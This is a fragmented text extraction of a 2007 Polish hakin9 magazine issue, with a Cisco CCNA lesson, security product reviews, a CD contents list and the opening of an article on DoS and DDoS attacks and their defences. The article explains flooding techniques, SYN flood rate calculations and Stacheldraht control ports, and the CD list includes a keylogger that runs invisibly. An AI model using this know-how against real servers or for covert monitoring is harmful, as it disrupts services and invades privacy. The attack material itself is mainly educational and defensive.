•   wprowadzić polecenie banner motd @ Wiadomość @ 

(znak @ można zastąpić dowolnym innym)

•   zapisać  zmieny,  wydając  polecenie  copy  running-

config startup=config, lub krócej copy run start

Rozwiązywanie nazw hostów

Rozwiązywanie  nazw  hostów  jest  procesem,  w  którym 
system łączy nazwę komputera jego adresem sieciowym. 
Protokoły takie jak telnet używają nazw hostów do roz-
poznawania urządzeń sieciowych. Aby korzystać z nazw 
hostów w komunikacji z innymi urządzeniami IP, urządze-

nia sieciowe, takie jak routery, muszą być w stanie powią-
zać nazwę hosta z jego adresem IP. Tablica hostów może 
zawierać wszystkie urządzenia w organizacji. Każdy uni-
katowy adres IP może mieć powiązaną ze sobą nazwę.

Protokół CDP

Protokół CDP jest protokołem warstwy 2, który łączy pro-
tokoły  niższych  warstw  mediów  fizycznych  z  protokołami 
wyższych warstw sieci. CDP jest wykorzystywany do otrzy-
mywania informacji o urządzeniach sąsiadujących. Uzyska-
ne  informacje  zawierają  m.in.  rodzaje  dołączonych  urzą-
dzeń,  interfejs  routera,  na  którym  się  znajdują,  interfejsy 
wykorzystane do utworzenia połączenia oraz numery mo-
delu. CDP jest niezależy od mediów i protokołów i działa 
na wszystkich urządzeniach firmy CISCO, poprzez protokół 
SNAP. Więc podstawowym zastosowaniem CDP jest roz-
poznawanie  wszystkich  urządzeń  Cisco,  które  są  bezpo-
średnio dołączone do lokalnego urządzenia. Aby wyświe-
tlić przechowywane w pamięci informacje CDP, należy wy-
konać polecenie show cdp entry. Aby wyświetlić informacje 
o sieciach przyłączonych bezpośrednio do routera, należy 
wykonać polecenie show cdp neighbors. Polecenie show 
cdp neighbors udostępnia nastęujące informacje:

•   ID urządzenia
•   interfejs lokalny
•   czas przechowywania informacji
•   możliwości
•   platformę
•   ID portu
•   nazwę domeny VTP
•   rodzimy VLAN
•   pół/pełen dupleks

Aby wyświetlić wszystkie informacje generowane przez 
instrukcję  show  cdp  neighbors,  jak  i  przez  instrukcję 
show cdp entry, należey wykonać opcjonalną komendę 
show cdp neighbors detail. Polecenia protokołu CDP:

•   cdp run – w trybie globalnej konfiguracji włącza proto-

kół CDP w routerze

•   cdp  enable  –  w  trybie  konfiguracji  interfejsu  włacza 

protokół CDP na interfejsie

•   clear cdp counteres – w trybie EXEC resetuje liczniki 

ruchu do 0

•   show cdp – w trybie EXEC wyświetla przerwę pomię-

dzy transmisjami ogłoszeń CDP, ilość czasu, w jakim 
ogłoszenia

•   CDP jest ważne na danym porcie, oraz wersję ogło-

szenia

•   show cdp entry – w trybie exec wyświetla informację 

o konkretnym sąsiedzie

•   show cdp interface – w trybie exec wyświetla informa-

cje o interfejsach, na których CDP jest włączony

•   show cdp neighbors – w trybie exec wyświetla rodzaj 

urządzenia, które zostało ogłoszone, numer i rodzaj 
lokalnego interfejsu, ilość sekund, przez które ogłosze-
nie jest ważne dla danego portu, rodzaj urządzenia, oraz 
ID portu.

background image

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

12

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

13

dzisiejszym świecie coraz więcej zależy od obie-
gu  informacji  w  sieci.  Jakiekolwiek  niepożąda-
ne oprogramowanie typu spyware, wirusy, roba-

ki internetowe itd. może spowodować dotkliwe straty finan-
sowe i straty w postaci utraty danych ważnych dla korpora-
cji. Oczywiście można założyć Mnie ten problem nie doty-

czy, nie będę wydawał pieniędzy niepotrzebnie. Nic bardziej 
błędnego – rozprzestrzenianie się niepożądanego oprogra-
mowania w internecie jest na porządku dziennym. I prędzej 
czy później dotknie każdego. Przykładem tu może być od-
bieranie codziennie spamu ze skrzynki pocztowej. I tutaj na-
przeciw wychodzi Czeska firma AEC która oferuje swój naj-
nowszy produkt TrustPort Internet Gateway i TrustPort Se-
rvers – który miałem przyjemność testować. Jest to kom-
pletny pakiet do ochrony komputera przed wszelkim niepo-
żądanym oprogramowaniem internetowym, spamem i wiru-
sami. 

Całość pakietu składa się z dwóch części: TrustPort 

Internet Gateway – odpowiedzialnej za ochronę poczty i 
internetu oraz TrustPort Server – dodatkowe narzędzia, 
w skład których wchodzi antywirus i firewall. Po instalacji 
pakietu musimy poświęcić chwilę na odpowiednie skon-
figurowanie oprogramowania. Pierwszą rzeczą, na któ-
rą zwróciłem uwagę, był skaner TrustPort Antivirus, który 
poza podstawowymi możliwościami skanowania dysków 
twardych i napędów, posiada również możliwość skano-
wania rejestru. 

Wielkim plusem jest możliwość obszernej konfigura-

cji skanera i jego wszelkich opcji. Przeskanowałem swój 
dysk  i  byłem  bardzo  pozytywnie  zaskoczony  kiedy  zo-
baczyłem rezultaty – zostały usunięte wszelkie szkodli-
we pliki, których inne skanery nawet nie pokazywały ja-
ko zagrożenie. Następnie przyszedł czas na TrustPort In-
ternet Gateway. I tutaj również zostałem miło zaskoczo-

TP Internet Gateway 4.5

ny obszernymi możliwościami tego narzędzia. Pierwsza 
rzecz jaka rzuca się w oczy to bardzo czytelny interface 
w którym widać trzy zakładki: E-mail, Web, Common. Za-
kładka  e-mail  odpowiada  za  ochronę  poczty.  Pierwszą 
rzeczą jaką trzeba zrobić jest skonfigurowanie ustawień 
poczty.  Następnie  można  przejść  do  dostępnych  opcji: 
konfigurację  antywirusa  dla  poczty,  konfigurację  usta-
wień anty-spamowych takich jak czarna, szara i biała li-
sta  adresów  e-mail,  filtr  Bayesa,  który  analizuje  zawar-
tość  wiadomości  i  stwierdza  czy  dana  wiadomość  jest 
spamem czy nie. Inne to: Regular phrases filter – wyszu-
kuje teksty typowe dla spamu, Public RBL and DSBL lists 
– jest to publiczna czarna lista z informacjami o spame-
rach. Oczywiście są też inne opcje, ale nie sposób je tu 
wszystkie opisać. Zakładka web odpowiada za ochronę 
sieci i internetu. Tutaj również najpierw trzeba skonfigu-
rować ustawienia i następnie przejść do dostępnych opcji 
takich jak: dodawanie zaufanych adresów URL oraz blo-
kowanie niepożądanych adresów. Mamy również możli-
wość ustawienia antywirusa dla internetu oraz inne na-
rzędzia do kontroli. Ostatnia zakładka to Common, w któ-
rej mamy możliwość ustawienia antywiusa i wszystkich 
innych  usług.  Następnym  dostępnym  narzędziem  jest 
TrustPort Servers, który może pomóc w rozwiązaniu pro-
blemu wirusów znajdujących się w różnych dokumentach 
i plikach i rozsyłanych za pomocą sieci. W skład Trust-
Port Server wchodzą: TrustPort Server Antivirus i Trust-
Port Firewall. Pakiet firmy AEC udostępnia nam bardzo 
szeroką możliwość konfigurowania skutecznego sposo-
bu  ochrony  naszego  komputera  i  sieci  przed  wszelkim 
szkodliwym  oprogramowaniem.  W  mojej  ocenie  pakiet 
sprawdził się bardzo dobrze. 

Jacek Łapiński

Rysunek 1. 

Okno konfiguracyjne narzędzia TrustPort 

Internet Gateway

Rysunek 2. 

Skaner antywirusowy podczas pracy

background image

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

8

N

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzędzia, 

dokumentację, tutoriale i materiały dodatkowe do artyku-
łów. Aby zacząć pracę z hakin9.live, wystarczy urucho-
mić  komputer  z  CD1.  Po  uruchomieniu  systemu  może-
my zalogować się jako użytkownik hakin9 bez podawa-
nia hasła.

Materiały  dodatkowe  zostały  umieszczone  w  nastę-

pujących katalogach:

•   tut – 26 tutoriali 
•   Aurox-Live;
•   HIT  –  10-Strike  Software  -  LANState  1.2:  to  prosta 

w  użyciu  aplikacja  katalogująca  umożliwiająca  nie-
zwykle efektowne zarządzanie listami plików umiesz-
czonych na nośnikach wymiennych. Program umożli-
wia tworzenie całkowicie spersonalizowanych list pli-
ków  umożliwiając  tym  samym  efektywne  przeszuki-
wanie zborów wg dowolnie zadanych przez użytkow-
nika kryteriów.

•   Eltima - Powered Keylogger ( wersja pełna na pół ro-

ku)  pozwala  na  monitorowanie  wszystkiego  co  jest 
wpisywane z klawiatury twojego komputera. Program 
uruchamia  się  w  niewidzialnym  trybie  razem  z  uru-
chomieniem Windows.

•   Uniblue  –  System  Tweaker  System  ekstremalne-

go przetaktowywania. System Tweaker jest funkcją, 
która  pozwala  na  perfekcyjnie  dokładne  dostrojenie 
wszystkich  parametrów  pracy  Twojego  systemu  dla 
uzyskania  maksymalnych  osiągów.  Nie  ważnie,  czy 
chcesz zmienić częstotliwość, napięcie czy opóźnie-
nia pamięci – wszystkie te opcje są dostępne w jed-
nym miejscu.

•   Vip Defense – Vip Privacy
•   Sandstorm - NetIntercept 3.2 Software Demo
•   doc – indeks;
•   pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkata-
logach  _arch.  W  przypadku  przeglądania  płyty  z  po-
ziomu  uruchomionego  hakin9.live  powyższa  struk-
tura  jest  dostępna  z  podkatalogu  /mnt/cdrom.  Wer-
sję  hakin9.live  3.1-aur  zbudowaliśmy,  opierając  się  o 
dystrybucję  Aurox  i  skrypty  automatycznej  generacji 
(www.aurox.org/pl/live).  Narzędzia  dystrybucji,  które 
nie znajdują się na dołączonej do pisma płycie, insta-
lowane są z repozytorium Auroxa za pomocą progra-

Zawartość CD 1

mu yum. W porównaniu z hakin9.live 2.9.1-ng zasad-
niczą zmianą jest oparcie systemu na dystrybucji Au-
rox Live 11.1. oraz przejście z Fluxboksa na środowi-
sko graficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać 
możemy  poprzez  konsolę  wydając  polecenie  man  [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję.

Na  CD1  opracowane  zostały  praktyczne  ćwicze-

nia do jendego artykułu – Sieci nie lokalne, który moż-
na  przeczytać  w  piśmie.  Zakładamy,  że  podczas  wy-
konywania  ćwiczeń  związanych  z  artykułami  i  tuto-
rialami,  użytkownik  korzysta  z  hakin9.live.  Dzięki  te-
mu uniknie problemów związanych z różnymi wersjami 
kompilatorów, inną lokalizacją plików konfiguracyjnych 
czy  opcjami  niezbędnymi  do  uruchomienia  programu 
w danym środowisku. hakin9.live został przygotowany 
pod kątem tych ćwiczeń i zawiera wszystkie wymaga-
ne aplikacje.

CD2

TrustPort Internet Gateway 4,5

Eliminuje problem wirusów, spamu jak i spyware w ko-
munikacji  e-mailowej.TP  Internet  Gateway  może  zo-
stać  nainstalowana  na  serwerach  Windows  lub  ser-
werach  pocztowych  w  zależności  od  typologii  danej 
sieci.  Co  wiecej,  elementy  TrustPort  Internet  Gate-
way  mogą  zostać  rozdzielone  pomiędzy  poszczegól-
ne serwery. Istnieje również możliwość zakupienia tyl-
ko niektórych jej funkcji np. modul antispam i antispy-
ware lub modul antiwirus. Istnieje możliwość znaczne-
go obniżenia ceny w przypadku zakupu licencji wielo-
stanowiskowej.

Kurs na certyfikat Cisco CCNA cz. I

Certyfikat CCNA przeznaczony jest dla specjalistów od 
niewielkich sieci (do 100 stanowisk) i potwierdza umiejęt-
ności w zakresie instalacji i konfiguracji routerów i prze-
łączników Cisco w sieciach LAN i WAN (poprawa wydaj-
ności i bezpieczeństwa sieci oraz usuwanie problemów). 
Kandydat może wybrać dowolny sposób przygotowania 
się do egzaminu, w szczególności edukację zdalną. Cer-
tyfikatem  CCNA  kończy  się  również  czterosemestralny 
kurs realizowany w ramach programu Cisco Networking 
Academy, z którego korzysta obecnie 800 studentów z 19 
szkół i uczelni. l

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,  sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

14

Narzędzia

hakin9 Nr 2/2007

www.hakin9.org

Elegancki, mały i zgrabny – takie pierwsze wrażenie spra-
wia nowy model firewalla DFL-1600 Firmy D-LINK z serii 
NetDefend.  Jest  to  produkt,  który  nadaje  sie  do  zasto-
sowań w małej i średniej firmie, jednakże swoje zadania 
spełni  również  w  placówkach  edukacyjnych  i  kawiaren-
kach internetowych. Urządzenie sprawdza sie świetnie w 
warunkach natężonego ruchu. Model ten umożliwia filtro-
wanie treści, blokowanie określonych aplikacji i uwierzy-
telnienie  użytkownika.  Zabezpiecza  także  przed  ataka-
mi typu DoS. Jednym z ciekawych rozwiązań zastosowa-
nym w tym sprzęcie jest funkcja Zone Defense. W wypad-
ku  wykrycia  nieprawidłowych  zachowań  jakiegoś  hosta 
potrafi całkowicie odciąć mu dostęp do sieci. Oprócz fire-
walla urządzenie to ma wbudowaną obsługę sieci VPN. 
Dostępna jest większość algorytmów szyfrujących dla tej 
usługi (DES, 3DES, AES, Twofish, Blowfish, CAST-128). 
Dzięki DFL-1600 można kontrolować ruch sieciowy ogra-
niczając pasmo poszczególnym hostom, bądź sieci. Ist-
nieje możliwość ustalenia pasma gwarantowanego, mak-
symalnego oraz ustalenie priorytetów dla danych usług 
sieciowych. Urządzenie to nadaje sie także do uwierzy-
telniania  użytkowników,  dzięki  czemu  dostęp  do  sieci 
posiadają tylko uprawnione osoby. Konfiguracji urządze-
nia możemy dokonać na kilka sposobów np. poprzez gra-
ficzny interfejs użytkownika dostępny z poziomu przeglą-
darki www. Wbudowany kreator sprawia że konfiguracja 
jest  łatwa  i  przyjemna.  Rozbudowane  menu  interfejsu, 
oraz liczne możliwości konfiguracji zapory sprawiają że 
można czasem się pogubić, co może sprawić problemy 
początkującym  administratorom  sieci.  Dogłębne  prze-
studiowanie  podręcznika  na  pewno  ułatwi  jednak  wła-
ściwe użytkowanie sprzętu. Monitorowanie i administra-
cja nie kończą sie jednak na GUI, do dyspozycji mamy 

także  standardową  konsolę,  dostęp  za  pomocą  proto-
kołu SMNP oraz SSH. Dzięki temu możemy w wygodny 
sposób zarządzać i monitorować pracą urządzenia. Na 
przednim panelu zapory, znajduje się wyświetlacz LCD, 
na którym widzimy podstawowe parametry 

oraz  statystyki  połączeń  i  systemu.  Dzięki  temu 

możemy  obserwować  pewne  parametry  bez  potrze-
by nawiązywania połączenia z firewallem. Na przednim 
panelu  mamy  dostępnych  aż  6  dowolnie  konfigurowa-
nych  portów  sieciowych  (RJ45).  Możemy  sami  wybrać 
i  przydzielić  który  z  portów  będzie  pełnił  funkcje  WAN, 
LAN  lub  DMZ.  Wielopoziomowy  system  uwierzytelnia-
nia, pozwala na tworzenie wielu kont, które mogą posia-
dać specjalnie zdefiniowane uprawnienia do zarządzania 
konfiguracją  urządzenia.  Dzięki  temu  posiadamy  pełną 
kontrolę  nad  dostępem  użytkowników  do  urządzenia. 
Administracja tym sprzętem nie sprawia większych trud-
ności, natomiast dla użytkownika praca firewalla jest nie-
zauważalna. W zestawie dostarczonym przez producen-
ta znajdziemy dwa kable sieciowe (prosty i skrosowany), 
kabel do podłączenia konsoli, kabel zasilający oraz doku-
mentację na płycie CD. Instrukcja, jak i interfejs konfigu-
racyjny  nie  jest  dostępny  w  naszym  ojczystym  języku. 
Produkt  zaraz  po  podłączeniu  i  skonfigurowaniu  jest 
gotowy do użycia.

Wojciech Trynkowski

Producent: D-Link
Model: DFL-1600
Typ: Firewall
Przeznaczenie: małe i średnie firmy
Strona producenta: www.dlink.pl
Cena: 9500 PLN

D-Link DFL-1600

background image
background image

www.hakin9.org

hakin9 Nr 2/2007

16

Atak

tym  artykule  zostanie  omówiony 
szereg  popularnych  ataków:  star-
sze,  związane  z  wykorzystaniem 

błędów w implementacjach stosu TCP/IP - ta-
kie jak Land, Ping of death, Winnuke czy Tear-
drop. Następnie - klasyczny atak wyczerpujący 
zasoby serwera - Syn flood. W dalszej kolejno-
ści ataki smurf, fraggle czy UDP echo-chargen 
wykorzystujące luki w konfiguracjach routerów. 
W ostatniej części rozdziału zostaną omówione 
nowsze wersje ataków DDoS - w tym ataki Sta-
cheldraht, Trinoo czy ataki na serwery DNS.

Klasyfikacja ataków DoS 

Ataki  DoS  mają  na  celu  uniemożliwienie  do-
stępu do usług informatycznych uprawnionym 
użytkownikom.  Ze  względu  na  sposób  dzia-
łania  można  wyróżnić  techniki  mające  na  ce-
lu  wyczerpanie  zasobów  serwera  (tak,  aby 
nie  mógł  oferować  żadnych  usług)  oraz  tech-
niki  zaburzające  komunikację  pomiędzy  po-
tencjalnym klientem a serwerem (np: poprzez 
zapchanie łącza internetowego od strony ser-
wera). Jednocześnie pojawiły się rozproszone 
ataki DoS (DDoS) wykorzystujące armię kom-
puterów  zombie  do  przeprowadzania  właści-
wego ataku DoS.

Land attack 

Należy do grupy ataków mających na celu wy-
korzystanie  niepoprawnej  implementacji  sto-
su TCP/IP. Należy już raczej do ataków histo-
rycznych. Atakujący wysyła pakiet TCP SYN z 
podmienionym adresem źródłowym wskazują-
cym na ofiarę oraz z takim samem portem źró-
dłowym i docelowym - wskazującym na usługę 
atakowanego serwera. Jak się okazało, na taki 
zabieg podatnych było wiele systemów. Przy-
kładowo cisco: IOS blokowało ruch na 30 se-
kund. Maszyny windows 95 wieszały się. Atak 
można  łatwo  przeprowadzić  przy  użyciu  pu-
blicznie  dostępnego  programu  land.c.  Każdy 
nowoczesny OS powinien być uodporniony na 

DDoS - Nowoczesne 

metody ataku i obrony

Michał Garcarz, Janusz Sosnowski

stopień trudności

Dokument ma na celu zapoznanie czytelnika z nowoczesnymi 

atakami odmowy usługi (DoS - Denial of service), jak również z 

ich rozproszoną odmianą (DDoS - Distributed denial of service). 

Celem powyższych ataków jest uniemożliwienie dostępu do usług 

informatycznych uprawnionym użytkownikom.

Z artykułu dowiesz się...

•   jak klasyfikować ataki D(DoS),
•   jak przeprowadzić atak na serwer DNS,
•   jak bronić się przed atakami typu D(DoS).

Powinieneś wiedzieć...

•   podstawowe  informacje  na  temat  ataków 

D(DoS).

background image

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

17

ten typ ataku. Poza tym takie pakie-
ty  powinny  być  wycinane  na  pozio-
mie firewalla.

Ping of death 

Znany  też  jako  Long  ICMP  attack  - 
polega na wysyłaniu bardzo dużych, 
podzielonych  na  wiele  fragmentów 
pakietów  ICMP.  Po  ich  sklejeniu  po 
stronie serwera okazuje się, że jego 
wielkość  przekracza  dopuszczalny 
rozmiar  pakietu  IP  czyli  65535  baj-
tów.  Wiele  systemów  nie  potrafiło 
sobie z tym poradzić - w tym wcze-
sne wersje windows i Linux. Atak ła-
two  przeprowadzić  przy  użyciu  do-
stępnych  narzędzi  (a  nawet  skryp-
tów z wykorzystaniem hping). W ce-
lu obrony należy zaktualizować sys-
tem albo blokować komunikaty ICMP 
na firewallu.

Winnuke 

Głośny  swojego  czasu  atak  wyko-
rzystujący w windows lukę polegają-
cą na niepoprawnym obsłużeniu da-
nych  OOB  (Out  of  Band)  skierowa-
nych  do  portów  137-139  (NetBios). 
Windows  nie  potrafił  obsłużyć  da-
nych  OOB,  co  skutkowało  dziwnym 
zachowaniem  -  od  utraty  połącze-
nia  internetowego  po  zawieszenie 
się maszyny. Atak było bardzo łatwo 
przeprowadzić  za  pomocą  graficz-
nych narzędzi spod windows. W celu 
jego uniknięcia można wyłączyć ob-
sługę NetBios albo zablokować na fi-
rewallu porty 137-139.

Teardrop 

Podobnie jak Land attack wykorzy-
stuje  luki  w  implementacji  TCP/IP. 
Problem  występował  w  starszych 
wersjach Linuxa i Windows. Syste-
my te niepoprawnie sklejały sfrag-
mentowane  pakiety.  W  przypadku 
kiedy atakujący podał ujemną war-
tość długości fragmentu, nie podle-
gało  to  sprawdzeniu,  przez  co  re-
zerwował  on  olbrzymią  ilość  da-
nych  na  bufor  docelowy.  Oczywi-
ście  tę  lukę  już  dawno  usunięto. 
Jednak  w  ostatnim  czasie  pojawia 
się  ich  bardzo  wiele,  zwłaszcza  w 
kernelu  Linuxa,  które  umożliwiają 
przeprowadzanie  ataków  DoS  za-
równo lokalnych jak i zdalnych. Na 
szczęście luki te wykrywa się - za-
zwyczaj  w  bardziej  zaawansowa-
nych  mechanizmach,  które  bywa-
ją niewykorzystane w typowych in-
stalacjach. Jednak w związku z tym 
dobrą regułą są częste aktualizacje 
systemu.

SYN flood 

Celem  ataku  jest  wyczerpanie  za-
sobów  serwera.  Jest  to  jedna  ze 
starszych form ataku, jednak wciąż 
dość popularna i skuteczna. O jakie 
zasoby  może  chodzić?  Większość 
związanych  ze  stosem  TCP/IP  jest 
alokowana dynamicznie. Należą do 
nich  między  innymi  PCB  (Protocol 
Control Blocks) - odpowiedzialna za 
utrzymywanie informacji o punktach 
końcowych  UDP  (adresy  IP  i  porty 

dla  każdego  połączenia)  oraz  TCP 
(TCP  Control  Blocks)  -  odpowie-
dzialna  za  utrzymywanie  informa-
cji na temat stanu każdego połącze-
nia TCP. Tu (ponad to co w PCB) za-
pisany jest szereg informacji takich 
jak  numery  sekwencyjne  i  potwier-
dzenia (oba kierunki), rozmiar okna 
segmentu,  wartości  zegarów  i  wie-
le  innych  opcji  -  specyficznych  dla 
TCP.  Ze  względu  na  spory  rozmiar 
TCB  (w  Linuksie  140  bajtów)  zde-
cydowano  się  na  stworzenie  kolej-
ki  dla  połączeń  ,,półotwartych''1  , 
czyli połączeń TCP, które nie zosta-
ły jeszcze w pełni nawiązane. Kolej-
ka ta jest zasobem alokowanym sta-
tycznie i globalnie dla całego syste-
mu2.  Zawarto  w  niej  tylko  podsta-
wowe  informacje  związane  ze  sta-
nem TCP. Są one przekazywane w 
nagłówku  TCP  z  pierwszym  pakie-
tem SYN (na przykład MSS). Dopie-
ro gdy połączenie zostanie uznane 
za otwarte (stan ,,ESTABLISHED'') 
tworzone są dla niego odpowiednie 
rekordy TCB. Domyślny rozmiar ko-
lejki  połączeń  nasłuchujących  dla 
Linuxa to 1024 3. 

Jak  może  wyglądać  potencjalne 

zagrożenie  ?  Do  atakowanego  ser-
wera  wysyłane  są  tysiące  pakietów 
TCP z ustawioną flagą SYN. Serwer 
po odebraniu takiego pakietu rezer-
wuje rekord w kolejce połączeń na-
słuchujących,  po  czym  odsyła  od-
powiedź  potwierdzającą  z  ustawio-
ną flagą SYN i ACK. Atakujący jed-
nak nie kończy inicjalizacji połącze-
nia TCP (poprzez odpowiedź z flagą 
ACK). Efektem tego na serwerze jest 
dużo  ,,półotwartych''  połączeń  TCP 
(połączeń w stanie SYN_RCVD). Je-
śli cała kolejka połączeń nasłuchują-
cych zostanie zapełniona nie będzie 
akceptował  on  już  żadnych  nowych 
połączeń  TCP,  przez  co  uprawnieni 
użytkownicy nie będą mogli skorzy-
stać usług TCP na tym serwerze. Za-
skakujące może być to, że do takie-
go ,,zatkania'' serwera wcale nie po-
trzeba  bardzo  szybkiego  łącza,  ani 
olbrzymiej  ilości  pakietów.  Łatwo  to 
policzyć.  Każde  połączenie  z  kolej-
ki  połączeń  nasłuchujących  jest  lo-
sowo usuwane(gdy kolejka jest peł-
na  a  nadszedł  nowy  pakiet  SYN) 

Rysunek 1. 

Nawiązywanie połączenia TCP

background image

hakin9 Nr 2/2007

www.hakin9.org

Atak

18

z prawdopodobieństwem 1/N , gdzie 
N  to  rozmiar  kolejki.  Jednocześnie 
każdy  serwer  ma  szereg  zegarów 
TCP.  Jednym  z  nich  jest  RTT  (Ro-
und Trip Time), który jest wyliczany 
(szacowany)  przez  serwer  na  pod-
stawie statystyk aktualnych transmi-
sji. Określa on czas jaki serwer bę-
dzie oczekiwał na odpowiedź z flagą 
ACK na wysłany przez siebie pakiet 
SYN,ACK.  Po  upłynięciu  tego  cza-
su  odpowiedni  rekord  z  kolejki  po-
łączeń  nasłuchujących  będzie  usu-
wany.  Atakujący  musi  więc  wysyłać 
taką  ilość  pakietów  SYN,  która  za-
gwarantuje  nadpisanie  każdego  re-
kordu  w  tej  kolejce  zanim  upłynie 
RTT. Załóżmy, że RTT oszacowany 
przez  serwer  wynosi  200ms  a  roz-
miar N kolejki to 1024. W takim wy-
padku  należy  wysyłać  co  najmniej 
N/RTT=5120  pakietów  na  sekundę, 
co przy najmniejszym rozmiarze pa-
kietu równym 64B daje 320KB/s co 
da się osiągnąć przy łączu 3Mbit lub 
szybszym.  W  efekcie  można  zablo-
kować  serwer  Linuxowy  z  łączem 
155Mbit. 

Dziś  większość  nowoczesnych 

systemów  wspiera  mechanizmy 
chroniące w dużym stopniu przed te-
go  typu  atakiem.  FreeBSD  domyśl-
nie  wspiera  Syncookie[8]  z  Synca-
che[9].  Kernel  Linuxa  posiada  nie-
stety  tylko  wsparcie  dla  Syncookie 
(niestety  nie  kompilowane  domyśl-
nie).  Mechanizmy  te  zostaną  omó-
wione  szerzej  w  dalszej  części  ar-
tykułu. Innym prostym zabezpiecze-
niem  jest  zwiększenie  kolejki  połą-
czeń nasłuchujących np: 

sysctl -w net.ipv4.tcp_max_syn_

backlog=8192

co 8-krotnie (w stosunku do standar-
dowych  wartości)  zwiększy  wyma-
gania  na  przepustowość  łącza  dla 
potencjalnego atakującego. 

Smurf attack 

Należy  do  grupy  ataków  mają-
cych  na  celu  zapchanie  łącza  lu-
b(i)  wykorzystanie  zasobów  atako-
wanego  serwera.  Polega  na  efek-
cie  ,,wzmocnienia'',  które  można 
uzyskać  wysyłając  pakiety  IP  (w 

tym przypadku ICMP echo) na ad-
res  rozgłoszeniowy  sieci.  Pakie-
ty te wysyłane są z podmienionym 
adresem  źródłowym  IP.  Wszyst-
kie hosty w docelowej sieci po ode-
braniu  takiego  pakietu  odpowiada-
ją  ICMP  reply  przesyłając  go  pod-
mienionemu adresowi źródłowemu, 
który staje się celem ataku. Na je-
den  pakiet  wysłany  przez  atakują-
cego,  może  odpowiedzieć  nawet 
kilkaset  hostów,  więc  wzmocnie-

nie  tego  ataku  jest  znaczne.  Przy-
kładowo - wysyłając pakiety z pręd-
kością  512kbit/s  przy  wzmocnieniu 
100 serwer docelowy jest obciążo-
ny  strumieniem  danych  o  przepły-
wie 50Mbit/s. 

Dziś  większość  routerów  za-

pobiega  rozprzestrzenianiu  się  te-
go  rodzaju  pakietów  rozgłoszenio-
wych. Ponadto wiele routerów filtru-
je komunikaty ICMP. Aby zabezpie-
czyć  się  przed  tymi  atakami  można 
zablokować możliwość rozgłaszania 
pakietów IP na całą sieć. Dla syste-
mów BSD:

sysctl -w net.inet.ip.directed-
broadcast=0

dla cisco IOS:
no ip directed-broadcast

Fraggle attack

Jest to starsza forma ataku, bardzo 
podobna  do  smurf,  jednak  zamiast 
ICMP  echo  i  reply  fraggle  polega 

na wysyłaniu rozgłoszeniowych pa-
kietów UDP, na które zwracane są 
odpowiedzi  ICMP  o  nieosiągalnym 
porcie  (ICMP  typ  3,  kod  3).  Zapy-
tania  UDP  oraz  ICMP  Port  Unre-
achable są filtrowane znacznie rza-
dziej  niż  pakiety  ICMP  Echo  requ-
est i Echo Reply. Jednak wyłącze-
nie możliwości broadcastu na adre-
sy IP skutecznie zabezpiecza przed 
tym atakiem. 

UDP chargen-echo

Rzadko dziś spotykana forma ataku. 
Ma  na  celu  sprzężenie  usług  UDP, 
z  których  jedna  wypisuje  dane  (np: 
chargen)  a  druga  zwraca  je  z  po-
wrotem.  W  tym  celu  atakujący  wy-
syła pakiet UDP z adresem i portem 
źródłowym  wskazującym  na  usłu-
gę echo oraz docelowym wskazują-
cym  na  usługę  chargen.  W  wyniku 
tego usługa chargen wyśle dane do 
usługi echo, która zwróci je do char-
gen i tak w kółko. Aby zabezpieczyć 
się przed tą formą ataku należy po-
wyłączać  niewykorzystywane  usłu-
gi UDP i zawsze zwracać uwagę na 
tak potencjalnie niebezpieczne usłu-
gi jak echo

Ataki aplikacyjne 

Jest to cała grupa ataków mającą na 
celu  wykorzystanie  słabego  punk-
tu konkretnej aplikacji działającej na 
serwerze.  Zaliczyć  można  do  nich 
ataki  na  serwery  IRC,  www,  smtp 

Rysunek 2. 

Architektura Stacheldraht i innych systemów DDoS 

D

D

D

D

D

D

D

D

Intruder

Victim

Master

Master

Master

Attack traffic

Control traffic

background image

DDoS - Nowoczesne metody ataku i obrony

hakin9 Nr 2/2007

www.hakin9.org

19

i  wiele  innych.  Podatne  są  zwłasz-
cza serwery aplikacyjne połączone z 
bazami danych, gdzie wysłanie jed-
nego zapytania generuje spory ruch 
czy  też  dużą  ilość  obliczeń  na  ser-
werze  (duży  współczynnik  wzmoc-

nienia). Ataki te są specyficzne, za-
leżą od architektury aplikacji i nie bę-
dą one tutaj dokładniej omawiane. 

Stacheldraht 

Zaliczany jest do ataków DDoS - Di-
stributed Denial of Service. Ataki ta-
kie  wykorzystują  wiele  innych  kom-
puterów, które mogą pełnić rolę zom-
bie. Dla porównania smurf czy frag-
gle  ich  nie  wykorzystują  i  mimo,  że 
wykorzystują  wiele  niewinnych  ho-
stów  jako  wzmocnienie  nie  są  kla-
syfikowane jako DDoS. Jeśli jednak 
kontrolowana  armia  zombie  zaata-
kuje  docelowe  serwery  za  pomocą 
dowolnej techniki DoS to jest już to 
uważane za DDoS. Stacheldraht jest 
koniem  trojańskim  robiącym  z  za-
rażonych  komputerów  zombie,  któ-
re  są  kontrolowane  przez  kompute-
ry zarządzające (master) a te z ko-
lei  są  kontrolowane  przez  atakują-
cego. W każdej chwili armia hostów 
może dostać od atakującego rozkaz 

przeprowadzenia zmasowanego ata-
ku na dowolny cel. Narzędzie umoż-
liwia przeprowadzenie z komputerów 
zombie  większości  znanych  form 
ataku DoS. Rozprzestrzenia się wy-
korzystując  różnorodne  luki  (jak  ro-
bak) poprzez email, www, icq i inne 
protokoły. 

Program  klienta  (atakujące-

go) łączy się z komputerami zarzą-
dzającymi przez TCP/16660 - inter-
fejs  przypomina  telnet  (uwierzytel-
nianie  poprzez  hasło).  Komunika-
cja  ta  jest  szyfrowana  przy  pomo-
cy  algorytmu  blowfish.  Kompute-
ry  zombie  zgłaszają  się  do  zarzą-
dzających przy pomocy TCP/65000 
oraz ICMP. Stacheldraht umożliwia 
komputerom  zarządzającym  auto-
